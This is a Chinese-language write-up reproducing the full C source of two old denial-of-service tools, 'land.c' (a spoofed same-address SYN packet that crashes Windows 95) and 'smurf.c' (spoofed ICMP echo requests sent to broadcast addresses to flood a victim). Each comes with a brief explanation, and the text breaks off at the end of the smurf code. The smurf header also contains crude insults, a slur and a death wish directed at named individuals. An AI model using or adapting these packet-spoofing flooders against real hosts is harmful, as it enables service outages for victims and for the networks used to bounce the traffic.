1 Land  

攻擊一臺Win95的機器。這是Win95的一個漏洞，以其IP地址和端口向自  
己的同一個端口發起連接（發SYN），Win95即會崩潰。  


/* land.c by m3lt, FLC  
   crashes a win95 box */  

#include <stdio.h>  
#include <netdb.h>  
#include <arpa/inet.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include < netinet/ip.h >  
#include < netinet/tcp.h >  

//用于TCP校驗和的偽頭  
struct pseudohdr  
{  
        struct in_addr saddr;  
        struct in_addr daddr;  
        u_char zero;  
        u_char protocol;  
        u_short length;  
        struct tcphdr tcpheader;  
};  

//計算IP校驗和  
u_short checksum(u_short * data,u_short length)  
{  
        register long value;  
        u_short i;  

        for(i=0;i<(length>>1);i++)  
                value+=data[i];  

        if((length&1)==1)  
                value+=(data[i]<<8);  

        value=(value&65535)+(value>>16);  

        return(~value);  
}  


int main(int argc,char * * argv)  
{  
        struct sockaddr_in sin;  
        struct hostent * hoste;  
        int sock;  
        char buffer[40];  
        struct iphdr * ipheader=(struct iphdr *) buffer;  
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));  
        struct pseudohdr pseudoheader;  

        fprintf(stderr,"land.c by m3lt, FLC\n");  

        if(argc<3)  
        {  
                fprintf(stderr,"usage: %s IP port\n",argv[0]);  
                return(-1);  
        }  

        bzero(&sin,sizeof(struct sockaddr_in));  
        sin.sin_family=AF_INET;  

        if((hoste=gethostbyname(argv[1]))!=NULL)  
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);  
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)  
        {  
                fprintf(stderr,"unknown host %s\n",argv[1]);  
                return(-1);  
        }  

        if((sin.sin_port=htons(atoi(argv[2])))==0)  
        {  
                fprintf(stderr,"unknown port %s\n",argv[2]);  
                return(-1);  
        }  

//new一個SOCK—RAW以發偽造IP包 這需要root權限  
        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)  
        {  
                fprintf(stderr,"couldn't allocate raw socket\n");  
                return(-1);  
        }  

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));  
        ipheader->version=4;  
        ipheader->ihl=sizeof(struct iphdr)/4;  
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));  
        ipheader->id=htons(0xF1C);  
        ipheader->ttl=255;  
        ipheader->protocol=IP_TCP;  

//目的IP地址和源IP地址相同  
        ipheader->saddr=sin.sin_addr.s_addr;  
        ipheader->daddr=sin.sin_addr.s_addr;  

//目的TCP端口和源TCPIP端口相同  
        tcpheader->th_sport=sin.sin_port;  
        tcpheader->th_dport=sin.sin_port;  
        tcpheader->th_seq=htonl(0xF1C);  
        tcpheader->th_flags=TH_SYN;  
        tcpheader->th_off=sizeof(struct tcphdr)/4;  
        tcpheader->th_win=htons(2048);  

        bzero(&pseudoheader,12+sizeof(struct tcphdr));  
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;  
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;  
        pseudoheader.protocol=6;  
        pseudoheader.length=htons(sizeof(struct tcphdr));  
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));  
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));  

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),  
  0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)  
        {  
                fprintf(stderr,"couldn't send packet\n");  
                return(-1);  
        }  

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);  

        close(sock);  
        return(0);  
}  


2 Smurf  
     smurf攻擊是很簡單的，它有一些IP（廣播地址）地址列表，發出了一些偽造的數  
據包（ICMP echo request）從而導致一場廣播風暴，可以使受害主機（使它成為偽造包  
的源地址）崩潰。  

    受害者有兩種：中間的設備（bounce sites 交換機或路由器）和被偽裝的IP（那些  
icmp echo的包都被發給它）。這種攻擊依賴于路由器把一個廣播地址轉化為一廣播楨  
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允許這種轉換，但在今天看來是不需要的。  

    可以使你router停止轉換第三層的廣播（IP）到第二層的廣播（Ethernet）。  

    但是Smb服務器或NT需要遠程廣播使LAN知道它的存在，但在路由器的上述配置會使這變  
成不可能（沒有WINS服務器時）。  

/*  
 *  
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $  
 *  
 *  spoofs icmp packets from a host to various broadcast addresses resulting  
 *  in multiple replies to that host from a single packet.  
 *  
 *  mad head to:  
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,  
 *     MissSatan for swallowing, napster for pimping my sister, the guy that  
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain  
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might  
 *     have missed (you know who you are).  
 *  
 *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy  
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up  
 *     half the cheque).  
 *  
 *     and a special hi to Todd, face it dude, you're fucking awesome.  
 *  
 *  mad anal to:  
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps  
 *     because they plain suck, Rolex for being a twit, everyone that  
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her  
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to  
 *     his penis and anyone that can't pee standing up -- you don't know what  
 *     your missing out on.  
 *  
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather  
 *     interesting).  
 *  
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill  
 *     Robbins for trying to steal my girlfriend.  Not only did you show me  
 *     no respect but you're a manipulating prick who tried to take away the  
 *     most important thing in the world to me with no guilt whatsoever, and  
 *     for that I wish you nothing but pain.  Die.  
 *  
 *  disclaimer:  
 *     I cannot and will not be held responsible nor legally bound for the  
 *     malicious activities of individuals who come into possession of this  
 *     program and I refuse to provide help or support of any kind and do NOT  
 *     condone use of this program to deny service to anyone or any machine.  
 *     This is for educational use only. Please Don't abuse this.  
 *  
 *  Well, i really, really, hate this code, but yet here I am creating another  
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,  
 *  like most programmers don't like seeing bugs in their code.  I saw a few  
 *  things that should have been done better or needed fixing so I fixed  
 *  them.  -shrug-, programming for me as always seemed to take the pain away  
 *  ...  
 *  
 *  
 */  

#include <signal.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <netinet/ip.h>  
#include <netinet/ip_icmp.h>  
#include <netdb.h>  
#include <ctype.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  

void banner(void);  
void usage(char *);  
void smurf(int, struct sockaddr_in, u_long, int);  
void ctrlc(int);  
unsigned short in_chksum(u_short *, int);  

/* stamp */  
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";  

int main (int argc, char *argv[])  
{  
   struct sockaddr_in sin;  
   struct hostent *he;  
   FILE   *bcastfile;  
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;  
   char   buf[32], **bcastaddr = malloc(8192);  

   banner();  
   signal(SIGINT, ctrlc);  

   if (argc < 6) usage(argv[0]);  

   if ((he = gethostbyname(argv[1])) == NULL) {  
      perror("resolving source host");  
      exit(-1);  
   }  
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);  
   sin.sin_family = AF_INET;  
   sin.sin_port = htons(0);  

   num = atoi(argv[3]);  
   delay = atoi(argv[4]);  
   pktsize = atoi(argv[5]);  

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {  
      perror("opening bcast file");  
      exit(-1);  
   }  
   x = 0;  
   while (!feof(bcastfile)) {  
      fgets(buf, 32, bcastfile);  
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;  
      for (i = 0; i < strlen(buf); i++)  
          if (buf[i] == '\n') buf[i] = '\0';  
      bcastaddr[x] = malloc(32);  
      strcpy(bcastaddr[x], buf);  
      x++;  
   }  
   bcastaddr[x] = 0x0;  
   fclose(bcastfile);  

   if (x == 0) {  
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);  
      exit(-1);  
   }  
   if (pktsize > 1024) {  
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");  
      exit(-1);  
   }  

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {  
      perror("getting socket");  
      exit(-1);  
   }  
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));  

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);  

   for (i = 0; i < num || !num; i++) {  
      if (!(i % 25)) { printf("."); fflush(stdout); }  
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);  
      cycle++;  
      if (bcastaddr[cycle] == 0x0) cycle = 0;  
      usleep(delay);  
   }  
   puts("\n\n");  
   return 0;  
}  

void banner (void)  
{  
   puts("\nsmurf.c v4.0 by TFreak\n");  
}  

void usage (char *prog)  
{  
   fprintf(stderr, "usage: %s <target> <bcast file> "  
                   "<num packets> <packet delay> <packet size>\n\n"  
                   "target        = address to hit\n"  
                   "bcast file    = file to read broadcast addresses from\n"  
                   "num packets   = number of packets to send (0 = flood)\n"  
                   "packet delay  = wait between each packet (in ms)\n"  
                   "packet size   = size of packet (< 1024)\n\n", prog);  
   exit(-1);  
}  

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)  
{  
   struct iphdr *ip;  
   struct icmphdr *icmp;  
   char *packet;  

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  
   ip = (struct iphdr *)packet;  
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));  

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  
   ip->ihl = 5;  
   ip->version = 4;  
   ip->ttl = 255;  
   ip->tos = 0;  
   ip->frag_off = 0;  
   ip->protocol = IPPROTO_ICMP;  
   ip->saddr = sin.sin_addr.s_addr;  
   ip->daddr = dest;  
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));  
   icmp->type = 8;  
   icmp->code = 0;  
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);  

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,  
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));  

   free(packet);           /* free willy! */  
}  

void ctrlc (int ignored)  
{  
   puts("\nDone!\n");  
   exit(1);